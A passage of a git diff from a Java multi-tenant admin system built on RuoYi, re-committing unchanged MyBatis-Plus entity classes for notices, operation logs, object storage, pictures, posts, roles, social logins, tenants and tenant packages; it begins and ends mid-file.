b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysNotice.java @@ -1,51 +1,51 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - - -/** - * 通知公告表 sys_notice - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_notice") -public class SysNotice extends TenantEntity { - - /** - * 公告ID - */ - @TableId(value = "notice_id") - private Long noticeId; - - /** - * 公告标题 - */ - private String noticeTitle; - - /** - * 公告类型(1通知 2公告) - */ - private String noticeType; - - /** - * 公告内容 - */ - private String noticeContent; - - /** - * 公告状态(0正常 1关闭) - */ - private String status; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + + +/** + * 通知公告表 sys_notice + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_notice") +public class SysNotice extends TenantEntity { + + /** + * 公告ID + */ + @TableId(value = "notice_id") + private Long noticeId; + + /** + * 公告标题 + */ + private String noticeTitle; + + /** + * 公告类型(1通知 2公告) + */ + private String noticeType; + + /** + * 公告内容 + */ + private String noticeContent; + + /** + * 公告状态(0正常 1关闭) + */ + private String status; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOperLog.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOperLog.java index 527a0cd..4d19194 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOperLog.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOperLog.java @@ -1,118 +1,118 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 操作日志记录表 oper_log - * - * @author Lion Li - */ - -@Data -@TableName("sys_oper_log") -public class SysOperLog implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 日志主键 - */ - @TableId(value = "oper_id", type = IdType.ASSIGN_ID) - private Long operId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 操作模块 - */ - private String title; - - /** - * 业务类型(0其它 1新增 2修改 3删除) - */ - private Integer businessType; - - /** - * 请求方法 - */ - private String method; - - /** - * 请求方式 - */ - private String requestMethod; - - /** - * 操作类别(0其它 1后台用户 2手机端用户) - */ - private Integer operatorType; - - /** - * 操作人员 - */ - private String operName; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 请求url - */ - private String operUrl; - - /** - * 操作地址 - */ - private String operIp; - - /** - * 操作地点 - */ - private String operLocation; - - /** - * 请求参数 - */ - private String operParam; - - /** - * 返回参数 - */ - private String jsonResult; - - /** - * 操作状态(0正常 1异常) - */ - private Integer status; - - /** - * 错误消息 - */ - private String errorMsg; - - /** - * 操作时间 - */ - private Date operTime; - - /** - * 消耗时间 - */ - private Long costTime; - - private Long qid; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 操作日志记录表 oper_log + * + * @author Lion Li + */ + +@Data +@TableName("sys_oper_log") +public class SysOperLog implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 日志主键 + */ + @TableId(value = "oper_id", type = IdType.ASSIGN_ID) + private Long operId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 操作模块 + */ + private String title; + + /** + * 业务类型(0其它 1新增 2修改 3删除) + */ + private Integer businessType; + + /** + * 请求方法 + */ + private String method; + + /** + * 请求方式 + */ + private String requestMethod; + + /** + * 操作类别(0其它 1后台用户 2手机端用户) + */ + private Integer operatorType; + + /** + * 操作人员 + */ + private String operName; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 请求url + */ + private String operUrl; + + /** + * 操作地址 + */ + private String operIp; + + /** + * 操作地点 + */ + private String operLocation; + + /** + * 请求参数 + */ + private String operParam; + + /** + * 返回参数 + */ + private String jsonResult; + + /** + * 操作状态(0正常 1异常) + */ + private Integer status; + + /** + * 错误消息 + */ + private String errorMsg; + + /** + * 操作时间 + */ + private Date operTime; + + /** + * 消耗时间 + */ + private Long costTime; + + private Long qid; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOss.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOss.java index e96d091..70bd286 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOss.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOss.java @@ -1,50 +1,50 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * OSS对象存储对象 - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_oss") -public class SysOss extends TenantEntity { - - /** - * 对象存储主键 - */ - @TableId(value = "oss_id") - private Long ossId; - - /** - * 文件名 - */ - private String fileName; - - /** - * 原名 - */ - private String originalName; - - /** - * 文件后缀名 - */ - private String fileSuffix; - - /** - * URL地址 - */ - private String url; - - /** - * 服务商 - */ - private String service; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * OSS对象存储对象 + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_oss") +public class SysOss extends TenantEntity { + + /** + * 对象存储主键 + */ + @TableId(value = "oss_id") + private Long ossId; + + /** + * 文件名 + */ + private String fileName; + + /** + * 原名 + */ + private String originalName; + + /** + * 文件后缀名 + */ + private String fileSuffix; + + /** + * URL地址 + */ + private String url; + + /** + * 服务商 + */ + private String service; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOssConfig.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOssConfig.java index 4b67d63..c603682 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOssConfig.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysOssConfig.java @@ -1,89 +1,89 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -/** - * 对象存储配置对象 sys_oss_config - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_oss_config") -public class SysOssConfig extends BaseEntity { - - /** - * 主键 - */ - @TableId(value = "oss_config_id") - private Long ossConfigId; - - /** - * 配置key - */ - private String configKey; - - /** - * accessKey - */ - private String accessKey; - - /** - * 秘钥 - */ - private String secretKey; - - /** - * 桶名称 - */ - private String bucketName; - - /** - * 前缀 - */ - private String prefix; - - /** - * 访问站点 - */ - private String endpoint; - - /** - * 自定义域名 - */ - private String domain; - - /** - * 是否https(0否 1是) - */ - private String isHttps; - - /** - * 域 - */ - private String region; - - /** - * 是否默认(0=是,1=否) - */ - private String status; - - /** - * 扩展字段 - */ - private String ext1; - - /** - * 备注 - */ - private String remark; - - /** - * 桶权限类型(0private 1public 2custom) - */ - private String accessPolicy; -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +/** + * 对象存储配置对象 sys_oss_config + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_oss_config") +public class SysOssConfig extends BaseEntity { + + /** + * 主键 + */ + @TableId(value = "oss_config_id") + private Long ossConfigId; + + /** + * 配置key + */ + private String configKey; + + /** + * accessKey + */ + private String accessKey; + + /** + * 秘钥 + */ + private String secretKey; + + /** + * 桶名称 + */ + private String bucketName; + + /** + * 前缀 + */ + private String prefix; + + /** + * 访问站点 + */ + private String endpoint; + + /** + * 自定义域名 + */ + private String domain; + + /** + * 是否https(0否 1是) + */ + private String isHttps; + + /** + * 域 + */ + private String region; + + /** + * 是否默认(0=是,1=否) + */ + private String status; + + /** + * 扩展字段 + */ + private String ext1; + + /** + * 备注 + */ + private String remark; + + /** + * 桶权限类型(0private 1public 2custom) + */ + private String accessPolicy; +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPicture.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPicture.java index cc27601..493a0f2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPicture.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPicture.java @@ -1,112 +1,112 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.math.BigDecimal; - -/** - * 画册对象 sys_picture - * - * @author Maosw - * @date 2025-02-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_picture") -public class SysPicture extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @TableId(value = "id") - private Long id; - - /** - * 分类 1-轮播 2-画册 - */ - private Long type; - - /** - * 标题 - */ - private String title; - - /** - * 封面图片 - */ - private String icon; - - /** - * 图片集JSON - */ - private String imgs; - - /** - * 跳转地址 - */ - private String url; - - /** - * 状态(1正常 0关闭) - */ - private Long status; - - /** - * 排序 - */ - private Long sort; - - /** - * 备注 - */ - private String remark; - - /** - * 标记 - */ - private Integer flag; - - /** - * 浏览量 - */ - private Long num; - - /** - * 租户 1-室内设计 2-制图工厂 - */ - private Integer tenant; - - /** - * 用户ID - */ - private Long userId; - - /** - * 工种ID - */ - private Long work; - - /** - * 工种名称 - */ - private String workName; - - /** - * 原价 - */ - private BigDecimal originalPrice; - - /** - * 优惠价 - */ - private BigDecimal discountPrice; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.math.BigDecimal; + +/** + * 画册对象 sys_picture + * + * @author Maosw + * @date 2025-02-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_picture") +public class SysPicture extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "id") + private Long id; + + /** + * 分类 1-轮播 2-画册 + */ + private Long type; + + /** + * 标题 + */ + private String title; + + /** + * 封面图片 + */ + private String icon; + + /** + * 图片集JSON + */ + private String imgs; + + /** + * 跳转地址 + */ + private String url; + + /** + * 状态(1正常 0关闭) + */ + private Long status; + + /** + * 排序 + */ + private Long sort; + + /** + * 备注 + */ + private String remark; + + /** + * 标记 + */ + private Integer flag; + + /** + * 浏览量 + */ + private Long num; + + /** + * 租户 1-室内设计 2-制图工厂 + */ + private Integer tenant; + + /** + * 用户ID + */ + private Long userId; + + /** + * 工种ID + */ + private Long work; + + /** + * 工种名称 + */ + private String workName; + + /** + * 原价 + */ + private BigDecimal originalPrice; + + /** + * 优惠价 + */ + private BigDecimal discountPrice; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPost.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPost.java index 8ff8e99..6587776 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPost.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysPost.java @@ -1,61 +1,61 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * 岗位表 sys_post - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_post") -public class SysPost extends TenantEntity { - - /** - * 岗位序号 - */ - @TableId(value = "post_id") - private Long postId; - - /** - * 部门id - */ - private Long deptId; - - /** - * 岗位编码 - */ - private String postCode; - - /** - * 岗位名称 - */ - private String postName; - - /** - * 岗位类别编码 - */ - private String postCategory; - - /** - * 岗位排序 - */ - private Integer postSort; - - /** - * 状态(0正常 1停用) - */ - private String status; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * 岗位表 sys_post + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_post") +public class SysPost extends TenantEntity { + + /** + * 岗位序号 + */ + @TableId(value = "post_id") + private Long postId; + + /** + * 部门id + */ + private Long deptId; + + /** + * 岗位编码 + */ + private String postCode; + + /** + * 岗位名称 + */ + private String postName; + + /** + * 岗位类别编码 + */ + private String postCategory; + + /** + * 岗位排序 + */ + private Integer postSort; + + /** + * 状态(0正常 1停用) + */ + private String status; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRole.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRole.java index 24b1a44..5334912 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRole.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRole.java @@ -1,84 +1,84 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.tenant.core.TenantEntity; - -/** - * 角色表 sys_role - * - * @author Lion Li - */ - -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -@TableName("sys_role") -public class SysRole extends TenantEntity { - - /** - * 角色ID - */ - @TableId(value = "role_id") - private Long roleId; - - /** - * 角色名称 - */ - private String roleName; - - /** - * 角色权限 - */ - private String roleKey; - - /** - * 角色排序 - */ - private Integer roleSort; - - /** - * 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) - */ - private String dataScope; - - /** - * 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) - */ - private Boolean menuCheckStrictly; - - /** - * 部门树选择项是否关联显示(0:父子不互相关联显示 1:父子互相关联显示 ) - */ - private Boolean deptCheckStrictly; - - /** - * 角色状态(0正常 1停用) - */ - private String status; - - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - - /** - * 备注 - */ - private String remark; - - public SysRole(Long roleId) { - this.roleId = roleId; - } - - /** - * 订单类型 逗号隔开 - */ - private String orderType; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.tenant.core.TenantEntity; + +/** + * 角色表 sys_role + * + * @author Lion Li + */ + +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +@TableName("sys_role") +public class SysRole extends TenantEntity { + + /** + * 角色ID + */ + @TableId(value = "role_id") + private Long roleId; + + /** + * 角色名称 + */ + private String roleName; + + /** + * 角色权限 + */ + private String roleKey; + + /** + * 角色排序 + */ + private Integer roleSort; + + /** + * 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) + */ + private String dataScope; + + /** + * 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) + */ + private Boolean menuCheckStrictly; + + /** + * 部门树选择项是否关联显示(0:父子不互相关联显示 1:父子互相关联显示 ) + */ + private Boolean deptCheckStrictly; + + /** + * 角色状态(0正常 1停用) + */ + private String status; + + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + + /** + * 备注 + */ + private String remark; + + public SysRole(Long roleId) { + this.roleId = roleId; + } + + /** + * 订单类型 逗号隔开 + */ + private String orderType; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleDept.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleDept.java index ba77694..4181130 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleDept.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleDept.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -/** - * 角色和部门关联 sys_role_dept - * - * @author Lion Li - */ - -@Data -@TableName("sys_role_dept") -public class SysRoleDept { - - /** - * 角色ID - */ - @TableId(type = IdType.INPUT) - private Long roleId; - - /** - * 部门ID - */ - private Long deptId; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +/** + * 角色和部门关联 sys_role_dept + * + * @author Lion Li + */ + +@Data +@TableName("sys_role_dept") +public class SysRoleDept { + + /** + * 角色ID + */ + @TableId(type = IdType.INPUT) + private Long roleId; + + /** + * 部门ID + */ + private Long deptId; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleMenu.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleMenu.java index ba28f17..348c723 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleMenu.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysRoleMenu.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -/** - * 角色和菜单关联 sys_role_menu - * - * @author Lion Li - */ - -@Data -@TableName("sys_role_menu") -public class SysRoleMenu { - - /** - * 角色ID - */ - @TableId(type = IdType.INPUT) - private Long roleId; - - /** - * 菜单ID - */ - private Long menuId; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +/** + * 角色和菜单关联 sys_role_menu + * + * @author Lion Li + */ + +@Data +@TableName("sys_role_menu") +public class SysRoleMenu { + + /** + * 角色ID + */ + @TableId(type = IdType.INPUT) + private Long roleId; + + /** + * 菜单ID + */ + private Long menuId; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysSocial.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysSocial.java index 10f2936..58003b3 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysSocial.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysSocial.java @@ -1,136 +1,136 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 社会化关系对象 sys_social - * - * @author thiszhc - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_social") -public class SysSocial extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 用户ID - */ - private Long userId; - - /** - * 的唯一ID - */ - private String authId; - - /** - * 用户来源 - */ - private String source; - - /** - * 用户的授权令牌 - */ - private String accessToken; - - /** - * 用户的授权令牌的有效期,部分平台可能没有 - */ - private int expireIn; - - /** - * 刷新令牌,部分平台可能没有 - */ - private String refreshToken; - - /** - * 用户的 open id - */ - private String openId; - - /** - * 授权的第三方账号 - */ - private String userName; - - /** - * 授权的第三方昵称 - */ - private String nickName; - - /** - * 授权的第三方邮箱 - */ - private String email; - - /** - * 授权的第三方头像地址 - */ - private String avatar; - - /** - * 平台的授权信息,部分平台可能没有 - */ - private String accessCode; - - /** - * 用户的 unionid - */ - private String unionId; - - /** - * 授予的权限,部分平台可能没有 - */ - private String scope; - - /** - * 个别平台的授权信息,部分平台可能没有 - */ - private String tokenType; - - /** - * id token,部分平台可能没有 - */ - private String idToken; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macAlgorithm; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macKey; - - /** - * 用户的授权code,部分平台可能没有 - */ - private String code; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthToken; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthTokenSecret; - - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 社会化关系对象 sys_social + * + * @author thiszhc + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_social") +public class SysSocial extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 用户ID + */ + private Long userId; + + /** + * 的唯一ID + */ + private String authId; + + /** + * 用户来源 + */ + private String source; + + /** + * 用户的授权令牌 + */ + private String accessToken; + + /** + * 用户的授权令牌的有效期,部分平台可能没有 + */ + private int expireIn; + + /** + * 刷新令牌,部分平台可能没有 + */ + private String refreshToken; + + /** + * 用户的 open id + */ + private String openId; + + /** + * 授权的第三方账号 + */ + private String userName; + + /** + * 授权的第三方昵称 + */ + private String nickName; + + /** + * 授权的第三方邮箱 + */ + private String email; + + /** + * 授权的第三方头像地址 + */ + private String avatar; + + /** + * 平台的授权信息,部分平台可能没有 + */ + private String accessCode; + + /** + * 用户的 unionid + */ + private String unionId; + + /** + * 授予的权限,部分平台可能没有 + */ + private String scope; + + /** + * 个别平台的授权信息,部分平台可能没有 + */ + private String tokenType; + + /** + * id token,部分平台可能没有 + */ + private String idToken; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macAlgorithm; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macKey; + + /** + * 用户的授权code,部分平台可能没有 + */ + private String code; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthToken; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthTokenSecret; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenant.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenant.java index ea544a6..c415b0b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenant.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenant.java @@ -1,124 +1,124 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.util.Date; - -/** - * 租户对象 sys_tenant - * - * @author Michelle.Chung - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_tenant") -public class SysTenant extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @TableId(value = "id") - private Long id; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 租户编号 - */ - private String tenantCode; - - /** - * 联系人 - */ - private String contactUserName; - - /** - * 联系电话 - */ - private String contactPhone; - - /** - * 企业名称 - */ - private String companyName; - - /** - * 统一社会信用代码 - */ - private String licenseNumber; - - /** - * 地址 - */ - private String address; - - /** - * 域名 - */ - private String domain; - - /** - * 企业简介 - */ - private String intro; - - /** - * 备注 - */ - private String remark; - - /** - *收款人姓名 - */ - private String payeeName; - - /** - *收款银行名称 - */ - private String payeeBank; - - /** - *收款银行卡号 - */ - private String payeeBankNum; - - - /** - * 租户套餐编号 - */ - private Long packageId; - - /** - * 过期时间 - */ - private Date expireTime; - - /** - * 用户数量(-1不限制) - */ - private Long accountCount; - - /** - * 租户状态(0正常 1停用) - */ - private String status; - - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.util.Date; + +/** + * 租户对象 sys_tenant + * + * @author Michelle.Chung + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_tenant") +public class SysTenant extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @TableId(value = "id") + private Long id; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 租户编号 + */ + private String tenantCode; + + /** + * 联系人 + */ + private String contactUserName; + + /** + * 联系电话 + */ + private String contactPhone; + + /** + * 企业名称 + */ + private String companyName; + + /** + * 统一社会信用代码 + */ + private String licenseNumber; + + /** + * 地址 + */ + private String address; + + /** + * 域名 + */ + private String domain; + + /** + * 企业简介 + */ + private String intro; + + /** + * 备注 + */ + private String remark; + + /** + *收款人姓名 + */ + private String payeeName; + + /** + *收款银行名称 + */ + private String payeeBank; + + /** + *收款银行卡号 + */ + private String payeeBankNum; + + + /** + * 租户套餐编号 + */ + private Long packageId; + + /** + * 过期时间 + */ + private Date expireTime; + + /** + * 用户数量(-1不限制) + */ + private Long accountCount; + + /** + * 租户状态(0正常 1停用) + */ + private String status; + + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenantPackage.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenantPackage.java index 5556d9f..6dc5984 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenantPackage.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysTenantPackage.java @@ -1,56 +1,56 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 租户套餐对象 sys_tenant_package - * - * @author Michelle.Chung - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("sys_tenant_package") -public class SysTenantPackage extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户套餐id - */ - @TableId(value = "package_id") - private Long packageId; - /** - * 套餐名称 - */ - private String packageName; - /** - * 关联菜单id - */ - private String menuIds; - /** - * 备注 - */ - private String remark; - /** - * 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) - */ - private Boolean menuCheckStrictly; - /** - * 状态(0正常 1停用) - */ - private String status; - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 租户套餐对象 sys_tenant_package + * + * @author Michelle.Chung + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("sys_tenant_package") +public class SysTenantPackage extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户套餐id + */ + @TableId(value = "package_id") + private Long packageId; + /** + * 套餐名称 + */ + private String packageName; + /** + * 关联菜单id + */ + private String menuIds; + /** + * 备注 + */ + private String remark; + /** + * 